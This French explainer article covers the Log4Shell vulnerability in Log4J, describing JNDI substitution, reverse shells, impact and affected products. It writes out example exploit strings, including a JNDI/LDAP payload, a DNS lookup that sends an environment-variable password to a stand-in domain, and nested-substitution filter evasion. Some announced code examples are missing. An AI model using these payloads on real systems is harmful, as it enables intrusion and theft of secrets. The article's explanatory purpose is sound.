Log4Shell : causes et conséquences de la vulnérabilité Java

À la fin de l’année 2021, la vulnérabilité Log4Shell a ébranlé le cyberespace. Des pirates informatiques ont facilement pu s’introduire dans les systèmes de très grandes entreprises. Découvrez avec nous Log4Shell et nos recommandations pour vous en prémunir.

La vulnérabilité Log4Shell est l’une des pires failles de sécurité Java découvertes à ce jour. Cette vulnérabilité n’a pas uniquement été exploitée pour récupérer des données sensibles ; elle permettait également d’ouvrir un reverse shell à distance sur un système. Avec un reverse shell, les pirates informatiques peuvent implanter d’autres codes malveillants, voire prendre entièrement le contrôle d’un système. Aux États-Unis, la National Vulnerability Database (NVD, base de données nationale des vulnérabilités) a attribué à la vulnérabilité Log4Shell la note la plus élevée, soit 10.0, et l’a qualifiée de « Critical » (critique).

Log4Shell est à ce jour reconnue comme l’une des pires vulnérabilités. La faille de sécurité sous-jacente se trouvait en effet dans une bibliothèque de journalisation Java très populaire, Log4J. Lorsque la vulnérabilité Log4Shell a été découverte, plus de 35 000 paquets de Maven Central (le plus important des référentiels Java) étaient concernés. Log4Shell a donc représenté une menace pour des milliers de produits et des centaines de fournisseurs. En plus des services de Cloud et des logiciels, leurs solutions matérielles ont elles aussi été touchées.

Fait particulièrement inquiétant, la vulnérabilité Log4Shell existe depuis 2013. Les pirates informatiques avaient donc la possibilité de s’introduire dans de nombreux systèmes, notamment ceux de grands fournisseurs, à l’insu du grand public. Il y a fort à parier que des organisations professionnelles telles que les services de renseignement et les pirates informatiques ont exploité activement cette vulnérabilité pour s’en prendre à certains systèmes et s’emparer de leurs données.

Le nom de cette vulnérabilité, « Log4Shell », exprime à lui seul le principe de fonctionnement de celle-ci. Dans la bibliothèque de journalisation Java Log4J, une vulnérabilité pouvait servir à lancer, à distance, un reverse shell sur un système. Mais en quoi consiste Log4J ? Et qu’est-ce qu’un reverse shell ?

Prise en charge par l’Apache Software Foundation, la bibliothèque Log4J compte parmi les outils standard les plus populaires pour la journalisation Java. La journalisation est essentielle pour les grands systèmes qui génèrent, évaluent et stockent des données d’état de manière permanente. Les données d’en-tête transmises aux serveurs Web lors de requêtes HTTP sont notamment des informations journalisées par défaut. Voici l’exemple d’une entrée de journal Apache, avec la dernière partie correspondant à la chaîne de l’agent utilisateur :

Un reverse shell peut être assimilé à un point d’entrée permettant aux pirates informatiques de manipuler un système ou d’en prendre le contrôle à distance. L’utilisation d’un reverse shell est courant chez les pirates informatiques, mais il nécessite généralement d’avoir accès au système concerné. La vulnérabilité Log4Shell permet justement de créer facilement ce type d’accès.

Le principal problème de la vulnérabilité Log4Shell concerne l’utilisation des string substitutions (ou substitutions de chaînes) dans le cadre de la fonctionnalité Log4J. Ces substitutions permettent l’insertion de contenus dynamiques dans des espaces réservés. Elles fonctionnent de la même manière que les substitutions de variables dans les scripts shell. Pour des raisons de sécurité, il est normalement impossible de manipuler le contenu de ces substitutions en externe. C’est toutefois ce que permet la journalisation de données définies par l’utilisateur, comme la chaîne de l’agent utilisateur.

Découvrez la structure et le fonctionnement de ces substitutions. La syntaxe générale d’une substitution comprend deux parties, un caractère générique (composé, comme dans les scripts shell, du signe « $ » suivi d’accolades), et une paire constituée d’un préfixe et d’un nom séparés par deux points :

Le préfixe vous renseigne sur le type de substitution à effectuer. Au moment de l’exécution, l’exemple de code suivant est remplacé par la version Java du système en cours d’utilisation :

Si cet exemple paraît anodin, il donne aux pirates informatiques la possibilité d’exploiter toutes les vulnérabilités connues de la version Java concernée. Parmi les substitutions possibles, plusieurs sont en effet critiques pour la sécurité du système d’exécution. En ce qui concerne Log4Shell, les substitutions des recherches JNDI sont d’ailleurs tristement célèbres.

La Java Naming and Directory Interface (JNDI) permet, à distance, de recharger des configurations depuis une classe Java locale. Cependant, il est également possible de charger des configurations à distance avec JNDI, depuis un système. Dans le cadre de Log4Shell, les pirates informatiques ont avant tout exploité des serveurs LDAP qu’ils contrôlaient déjà. Ils ont utilisé ces derniers pour y implanter le code malveillant permettant d’ouvrir le reverse shell. Une classe Java peut en effet accueillir tout type de code.

Il leur a donc suffi d’introduire une chaîne de caractères de forme ${jndi:ldap://example.com/evil-file} dans un système où Log4J était vulnérable. Plus tard, au moment de la reconstitution de la substitution, un code d’exploit peut être rechargé depuis un serveur LDAP déjà contrôlé. L’exploit est alors réalisé sur le système vulnérable. En fonction de sa cible, le pirate informatique peut ensuite installer un scareware ou d’autres logiciels malveillants.

En plus de JNDI, les pirates informatiques peuvent également faire appel aux préfixes « env » et « base64 ». Vous trouverez ci-dessous un aperçu des préfixes de substitution disponibles et du contexte dans lequel ils s’utilisent :

Pour tirer parti d’une vulnérabilité, il suffit d’appliquer une procédure spécifique. Il s’agit alors d’un exploit. Il n’est pas rare que plusieurs exploits concernent une même vulnérabilité ; c’est d’ailleurs le cas pour Log4Shell. Lorsque la vulnérabilité a été découverte, deux types d’attaques ont principalement été recensés ; c’est l’appel JNDI utilisé qui permet de les distinguer.

1. Prendre le contrôle du serveur ou de l’appareil

Ce type d’attaques consiste à lancer un reverse shell sur le système ciblé. D’autres exploits peuvent être utilisés à cet effet, dès lors qu’il est possible d’exécuter un code malveillant au niveau du système cible. Si ce scénario a été rendu possible, c’est précisément à cause de la journalisation d’une chaîne de caractères préparée à cet effet.

Pour attaquer un serveur Web vulnérable, il suffit d’interroger n’importe quelle ressource, puis d’utiliser une chaîne d’exploits en tant qu’agent utilisateur. Le serveur Web journalise la chaîne d’exploits, la substitution s’exécute et l’attaque peut commencer. Vous trouverez ci-dessous l’exemple d’une chaîne d’exploits journalisée :

2. Mettre la main sur des données sensibles

Avec ces attaques, les pirates informatiques soutirent au système qu’ils prennent pour cible des données sensibles sous forme de variables d’environnement. L’exploit repose sur la création, dynamique et par substitution, d’une résolution de noms DNS supposée. La valeur d’une variable d’environnement est donc codée de la même manière qu’un sous-domaine :

Quel que soit le cas, les pirates informatiques utilisent comme « tête de pont » un système qu’ils contrôlent déjà. Dans le premier cas de figure, un serveur LDAP délivre un code malveillant. Dans le second, le serveur de noms répondant à la requête DNS est contrôlé par des pirates informatiques. Intéressons-nous de plus près à ce cas.

Imaginons que sur le système vulnérable, la variable d’environnement « DB_PASS » contient le mot de passe d’une base de données. Supposons également qu’il s’agisse de la valeur e3CtDewUUwAfiwWTFtAhfettlQ2Lp5. La chaîne d’exploits ${jndi:dns://${env:DB_PASS}.example.com} génère une requête DNS pour le sous-domaine e3CtDewUUwAfiwWTFtAhfettlQ2Lp5.example.com.

Pour example.com, la requête DNS est adressée au serveur de noms déjà contrôlé par le pirate informatique. Après avoir lu la valeur du sous-domaine, le serveur de noms malveillant décide de l’enregistrer. Les pirates informatiques peuvent ainsi trouver le mot de passe de la base de données de ce serveur vulnérable.

Dans le cadre de la vulnérabilité Log4Shell, le principal danger correspondait à la combinaison des différents facteurs de risque. Nous allons passer en revue les plus importants d’entre eux :

1. Cette faille de sécurité Java vient de la bibliothèque de journalisation.

À première vue, une bibliothèque de journalisation telle que Log4J peut paraître plutôt inoffensive. Tout comme une bibliothèque d’authentification ou de chiffrement, il convient toutefois de ne pas la négliger.

2. Java est très populaire.

Fait unique pour un langage et un environnement, Java peut fonctionner sur pratiquement toutes les plateformes. De ce fait, la vulnérabilité Log4Shell concerne donc un très grand nombre de programmes et de services. De plus, Java est parfois intégré à des systèmes embarqués (routeurs, appareils issus de l’Internet des objets, etc.), c’est-à-dire qu’il peut être présent sur des caméras privées et autres appareils domotiques.

3. Tout un ensemble de technologies est concerné.

Cette problématique de sécurité est liée à la concaténation de plusieurs technologies. La combinaison entre Log4J, JNDI, un serveur LDAP et des substitutions de chaînes est favorable à cette vulnérabilité et permet aux pirates informatiques d’attaquer.

4. Les exploits s’infiltrent jusqu’à des niveaux plus profonds.

Dans le meilleur des cas, si une vulnérabilité touche uniquement le système pris pour cible, les dégâts peuvent rester localisés. Imaginez toutefois qu’une interface Web reçoive et journalise une chaîne d’exploits. Cette chaîne d’exploits peut alors être communiquée à d’autres systèmes sous-jacents, sans s’activer avant d’y être évaluée.

5. Les chaînes d’exploits sont difficilement détectables.

Les substitutions possibles étant très complexes, de nombreuses options s’offrent aux pirates informatiques souhaitant dissimuler un code malveillant. Pour cette raison, il est possible d’imbriquer certaines substitutions. La chaîne ${${lower:j}ndi} ne contient pas directement la chaîne de caractères jndi et ne peut donc pas être filtrée de manière automatique. La chaîne ${jndi} n’est créée qu’au moment de la résolution. De plus, il est possible de dissimuler certaines parties du code à l’aide d’un codage en Base64. La chaîne ${base64:SGVsbG8gV29ybGQhCg==} correspond donc à « Hello World! ».

Lorsque la vulnérabilité Log4Shell a été découverte, les attaques de grande ampleur contre des systèmes du monde entier se sont multipliées. Les pirates informatiques ont surtout pris le contrôle de serveurs et d’appareils, mais ils ont également réussi à s’emparer de certaines données sensibles. Dix jours après la divulgation de ces exploits, voici comment Wiz, une entreprise spécialiste de la cybersécurité, a résumé la situation :

Après avoir pris le contrôle de ces systèmes, les pirates informatiques les ont, entre autres, utilisés pour extorquer certaines cryptomonnaies, créer des réseaux entiers de robots et envoyer des messages indésirables. Ils sont également parvenus à créer des « backdoors » (ou portes dérobées) qui ont plus tard facilité certaines activités criminelles, notamment les attaques par ransomware. Lorsqu’une attaque est conçue pour passer inaperçue et percer les défenses d’autres systèmes, il s’agit alors d’Advanced Persistent Threats (APT, ou menaces persistantes avancées).

Dans l’ensemble, les grandes entreprises ont réagi rapidement après la découverte de Log4Shell et ont pris les mesures nécessaires pour protéger leurs systèmes. Il convient néanmoins de supposer que les systèmes n’ayant pas été corrigés sont toujours menacés par la vulnérabilité. En effet, les pirates informatiques ciblent généralement un système qu’ils analysent pour tenter d’en trouver les failles.

Il peut s’avérer difficile d’identifier les systèmes vulnérables, ce qui complique encore la lutte contre la vulnérabilité Log4Shell. Pour les applications Java exécutées en tant que conteneurs ou disponibles sous la forme d’un fichier JAR archivé ou d’une image de conteneur, il n’est pas anodin de rechercher les versions vulnérables de Log4J. Par exemple, si une version vulnérable est en cours d’utilisation sans que vous le sachiez, il vous est impossible de sécuriser celle-ci. Votre système reste donc menacé par la vulnérabilité Log4Shell.

Si vous êtes adepte de la domotique, d’autres systèmes issus de l’Internet des objets ou d’appareils embarqués, sachez qu’ils sont plus problématiques que les environnements de Cloud et de serveurs. Il peut notamment s’agir de vos routeurs privés, de vos caméras de surveillance, etc. Comme la vulnérabilité Log4Shell existe depuis de nombreuses années, il est probable que certains appareils disposant d’une version non sécurisée soient toujours en service. Si le support technique a expiré ou si le fournisseur n’existe plus, cela signifie généralement que les éventuels correctifs ou mises à jour ne sont plus disponibles.

Vous pouvez retrouver la liste complète des logiciels touchés par Log4Shell sur GitHub. Cette liste est gérée depuis les Pays-Bas par le Nationaal Cyber Security Centrum (NCSC-NL), l’équivalent de l’agence nationale de la sécurité des systèmes d’information (ANSSI) en France. Étant donnée la multitude de logiciels vulnérables, ce sont leurs fabricants respectifs qui ont été classés par ordre alphabétique dans cette liste.

Les particuliers ont également été touchés par la vulnérabilité Log4Shell. Au moment de l’annonce, un grand nombre de services en ligne parmi les plus populaires étaient en effet vulnérables, dont notamment Minecraft, Steam, AWS et l’iCloud (Apple). Les principaux fournisseurs ont pour la plupart réagi rapidement. Il n’est donc pas nécessaire que vous supprimiez votre compte Steam ou que vous trouviez une solution de substitution à AWS.

Toutefois, si vous disposez de votre propre serveur Minecraft, nous vous conseillons de le mettre à jour à la dernière version disponible. Dans les versions vulnérables, il suffit en effet d’envoyer une chaîne d’exploits sous forme d’un message instantané pour prendre le contrôle du serveur ciblé.

Le matériel que vous utilisez chez vous ou dans votre petite entreprise est concerné par la vulnérabilité Log4Shell ; ainsi, les utilisateurs privés sont eux aussi menacés. En présentant, par exemple, un code-barres spécial à une caméra de surveillance, les pirates informatiques peuvent prendre le contrôle de certains appareils.